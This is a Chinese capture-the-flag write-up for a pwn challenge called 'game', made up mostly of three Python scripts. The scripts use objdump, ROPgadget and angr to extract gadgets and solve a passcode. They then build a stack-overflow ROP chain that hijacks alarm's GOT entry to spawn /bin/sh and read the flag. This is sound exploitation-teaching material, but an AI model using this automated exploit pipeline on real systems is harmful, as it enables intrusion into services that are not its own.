game

点击此处获得更好的阅读体验


WriteUp来源

官方WP

解题思路

用angr过约束,并寻找相关的利用gadget以及栈长度,栈溢出,具体看exp

get_addr.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
import commands
def do_command(cmd_line):
(status, output) = commands.getstatusoutput(cmd_line)
return output

def get_mid_str(data, b_str, e_str, s_pos = 0):
b_pos = data.find(b_str, s_pos)
if b_pos == -1:
return ""
b_pos += len(b_str)
e_pos = data.find(e_str, b_pos)

data = data[b_pos:e_pos]
#print s_pos, b_pos, e_pos
#print data
while b_str in data:
data = data[data.find(b_str)+len(b_str):]
#print data
return data

def write_file(filename, data, mode = "wb"):
file_w = open(filename, mode)
file_w.write(data)
file_w.close()

def do_angr_conf():
tmp_file_asm = do_command("objdump -d tmp_file.bin")

b_pos = tmp_file_asm.find("<__libc_start_main@plt>\n")

main_addr = get_mid_str(tmp_file_asm, " mov $0x", ",%rdi\n", b_pos - 0x80)
#print main_addr
b_pos = tmp_file_asm.find("%s:"%main_addr)
b_pos = tmp_file_asm.find(" <atoi@plt>\n", b_pos)
deal_func_addr = get_mid_str(tmp_file_asm, "callq ", " <", b_pos)
print "start_addr =>", deal_func_addr

b_pos = tmp_file_asm.find("%s:"%deal_func_addr)
s_b_pos = tmp_file_asm.find(" callq ", b_pos - 0x100)
success = get_mid_str(tmp_file_asm, "$0x1,%eax\n ", ": ", s_b_pos - 0x80)
print "success =>", success
f_b_pos = tmp_file_asm.find("leave", b_pos)
fail = get_mid_str(tmp_file_asm, "$0x0,%eax\n ", ": ", f_b_pos - 0x80)
print "fail =>", fail

data_write = ""
data_write += deal_func_addr + "\n"
data_write += success + "\n"
data_write += fail + "\n"

write_file("angr_deal.conf", data_write)

def do_pwn_conf():
rop_asm = do_command("ROPgadget --binary tmp_file.bin")

rop_map = {}
rop_map["p_rdi_ret"] = "pop rdi ; ret"
rop_map["p_rsi_r15_ret"] = "pop rsi ; pop r15 ; ret"
rop_map["ret_addr"] = "ret"
rop_map["p_rbp_ret"] = "pop rbp ; ret"
rop_map["set_args_addr"] = "pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret"

rop_map_val = {}

mov_edx_rbp_p_rbp_ret = 0

for line in rop_asm.split("\n"):
items = line.split(" : ")
if len(items) != 2:
continue

for key in rop_map.keys():
if key not in rop_map_val.keys():
if items[1] == rop_map[key]:
rop_map_val[key] = int(items[0], 16)

if items[1].startswith("pop rbp ; mov byte ptr [rip + ") and items[1].endswith("], 1 ; ret"):
mov_edx_rbp_p_rbp_ret = int(items[0], 16) - 10


got_data = do_command("objdump -R tmp_file.bin")
alarm_got = 0

for line in got_data.split("\n"):
items = line.split(" ")
if len(items) < 3:
continue
got_name = items[-1].split("@")[0]
if got_name == "alarm":
alarm_got = int(items[0], 16)

tmp_file_asm = do_command("objdump -d tmp_file.bin")
b_pos = tmp_file_asm.find(" <read@plt>:\n")
read_plt = get_mid_str(tmp_file_asm, "\n", " <read@plt>:\n", b_pos - 0x18)
read_plt = int(read_plt, 16)
b_pos = tmp_file_asm.find(" <atoi@plt>:\n")
atoi_plt = get_mid_str(tmp_file_asm, "\n", " <atoi@plt>:\n", b_pos - 0x18)
atoi_plt = int(atoi_plt, 16)

b_pos = tmp_file_asm.find(" <read@plt>\n")
#print tmp_file_asm[b_pos-0x100:b_pos+0x10]
rbp_val = get_mid_str(tmp_file_asm, " lea ", "(%rbp),%rax", b_pos - 0x100)
#print rbp_val
rbp_val = int(rbp_val.strip(), 16)
print "rbp:", hex(rbp_val)

data_write = ""
data_write += "0x%x\n"%rop_map_val["p_rdi_ret"]
data_write += "0x%x\n"%rop_map_val["p_rsi_r15_ret"]
data_write += "0x%x\n"%rop_map_val["ret_addr"]
data_write += "0x%x\n"%rop_map_val["p_rbp_ret"]
data_write += "0x%x\n"%mov_edx_rbp_p_rbp_ret
data_write += "0x%x\n"%(rop_map_val["set_args_addr"] - 1)
data_write += "0x%x\n"%(rop_map_val["set_args_addr"] - 1 - 0x1a)
data_write += "0x%x\n"%alarm_got
data_write += "0x%x\n"%read_plt
data_write += "0x%x\n"%atoi_plt
data_write += "%s\n"%hex(rbp_val).replace("L", "").replace("l", "")


write_file("do_pwn_next.conf", data_write)



def do_work():
do_angr_conf()
do_pwn_conf()


do_work()

angr_deal.py

import angr
from angr import *
#from simuvex.procedures.stubs.UserHook import UserHook

binary_path = "./tmp_file.bin"

stack_addr = 0


def get_mem(state, addr, size):
mem = state.memory.load(addr, size)
#print mem
return state.se.eval(mem)

def gen_cond(state, index):
"""Returns a symbolic BitVector and contrains it to printable chars for a given state."""
bitvec = state.se.BVS('c%d'%index, 8, explicit_name=True)
return bitvec, state.se.And(bitvec >= 0x0, bitvec <= 0xff)


def read_file(filename, mode = "rb"):
file_r = open(filename, mode)
data = file_r.read()
file_r.close()
return data

def write_file(filename, data, mode = "wb"):
file_w = open(filename, mode)
file_w.write(data)
file_w.close()

def run_angr():

#proj = angr.Project(binary_path, load_options={'auto_load_libs': False})
proj = angr.Project(binary_path)#, load_options={'auto_load_libs': False})


data = read_file("angr_deal.conf")
if len(data) > 0:
items = data.split('\n')
start_addr = int(items[0], 16)
success = (int(items[1], 16), )
fail = (int(items[2], 16), )

print (start_addr)
print (success)
print (fail)

print hex(start_addr)
print hex(success[0])
print hex(fail[0])

else:
start_addr = 0x400B57
success = (0x400C45, )
fail = (0x400C6C, )

#"""
initial_state = proj.factory.blank_state(addr = start_addr)

r_edi = initial_state.se.BVS('edi', 32)
initial_state.regs.edi = r_edi

pg = proj.factory.simgr(initial_state, immutable=False)
pg.explore(find=success, avoid=fail)
found_state = pg.found[0]
result = found_state.se.eval(r_edi)
print hex(result)
write_file("passcode.conf", "%d"%result)
exit(0)

run_angr()

aeg_pwn.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
from zio import *

is_local = True
is_local = False

binary_path = "./no"

libc_file_path = ""
#libc_file_path = "./libc.so.6"

ip = "127.0.0.1"
port = 2333

if is_local:
target = binary_path
else:
target = (ip, port)

def d2v_x64(data):
return l64(data[:8].ljust(8, '\x00'))

def d2v_x32(data):
return l32(data[:4].ljust(4, '\x00'))

def rd_wr_str(io, info, buff):
io.read_until(info)
io.write(buff)

def rd_wr_int(io, info, val):
rd_wr_str(io, info, str(val) + "\n")


def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
#io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m, env={"LD_PRELOAD":libc_file_path})
return io

def write_file(filename, data, mode = "wb"):
file_w = open(filename, mode)
file_w.write(data)
file_w.close()

import commands
def do_command(cmd_line):
(status, output) = commands.getstatusoutput(cmd_line)
return output

def read_file(filename, mode = "rb"):
file_r = open(filename, mode)
data = file_r.read()
file_r.close()
return data

set_args_addr = 0x400d2a
call_func_addr = 0x400d10

def gen_rop(func_got, arg1, arg2 = 0, arg3 = 0, ret_addr = None):
global set_args_addr, call_func_addr
#set_args_addr
payload = ""
payload += l64(set_args_addr)
payload += l64(0) #pop rbx = 0
payload += l64(1) #pop rbp
payload += l64(func_got) #pop r12
payload += l64(arg3) #pop r13
payload += l64(arg2) #pop r14
payload += l64(arg1) #pop r15
if ret_addr != None:
payload += l64(ret_addr)
else:
payload += l64(call_func_addr)

return payload


def do_pwn_next(io):
global set_args_addr, call_func_addr
p_rdi_ret = 0x0000000000400d33
p_rsi_r15_ret = 0x0000000000400d31
p_rbp_ret = 0x400B55
ret_addr = 0x0000000000400b31

mov_edx_rbp_p_rbp_ret = 0x4008E8 #adc [rbp+48h], edx

read_plt = 0x00000000004007e0
alarm_got = 0x0000000000602038
atoi_plt = 0x400800

data = read_file("do_pwn_next.conf")
val_list = []
for line in data.strip().split("\n"):
val_list.append(int(line, 16))
print hex(int(line, 16))

p_rdi_ret = val_list[0]
p_rsi_r15_ret = val_list[1]
ret_addr = val_list[2]
p_rbp_ret = val_list[3]
mov_edx_rbp_p_rbp_ret = val_list[4]
set_args_addr = val_list[5]
call_func_addr = val_list[6]
alarm_got = val_list[7]
read_plt = val_list[8]
atoi_plt = val_list[9]

rbp_add_val = val_list[10]


bss_addr = 0x00601000 + 0xa00

pre_payload = ""
pre_payload += 'a'*(0-rbp_add_val)
pre_payload += 'b'*8

payload = ""
payload += l64(p_rdi_ret) + l64(0)
payload += l64(p_rsi_r15_ret) + l64(bss_addr)*2
payload += l64(read_plt)

payload += gen_rop(bss_addr, 0, 0, 0x5)
payload += gen_rop(bss_addr, 0, 0, 0x5)[:-8]
payload += l64(p_rbp_ret) + l64(alarm_got - 0x48)
payload += l64(mov_edx_rbp_p_rbp_ret) * 2

#set rax = 0x3b
payload += l64(p_rdi_ret) + l64(bss_addr + 0x20 + 0*2)
payload += l64(atoi_plt)
#execve("/bin/sh", 0, 0)
payload += gen_rop(alarm_got, bss_addr + 0x8, 0, 0)
#payload += gen_rop(alarm_got, bss_addr + 0x8, 0, 0)[:-8]
payload += "\n"

#io.gdb_hint()
#print repr(payload)
print hex(len(payload))

payload = pre_payload + payload
print payload[:-1].find("\n")

#io.gdb_hint()
io.write(payload)

#raw_input(":")

import time
time.sleep(0.5)
payload = ""
payload += l64(ret_addr)
payload += "/bin/sh\x00".ljust(0x18, '\x00')
payload += "59\x00"
payload += "\n"
io.write(payload)
time.sleep(0.5)


io.writeline("id")
io.writeline("ls -al")
io.writeline("cat flag 2>&1")
io.writeline("exit")
io.interact()

def pwn(io):
io.read_until("------------------data info------------------\n")
data = io.read_until("\n").strip()
data = data.decode("base64")
print(len(data))
write_file("tmp_file.bin", data)
#print repr(data.decode("base64")[:4])

io.read_until("code:")
do_command("chmod +x tmp_file.bin")
do_command("python get_addr.py")
do_command("python angr_deal.py")

data = read_file("passcode.conf")
#do_command("rm tmp_file.bin luckynum.conf")

data = data.strip()
io.writeline(data)

do_pwn_next(io)

io.interact()

io = get_io(target)
pwn(io)
exit(0)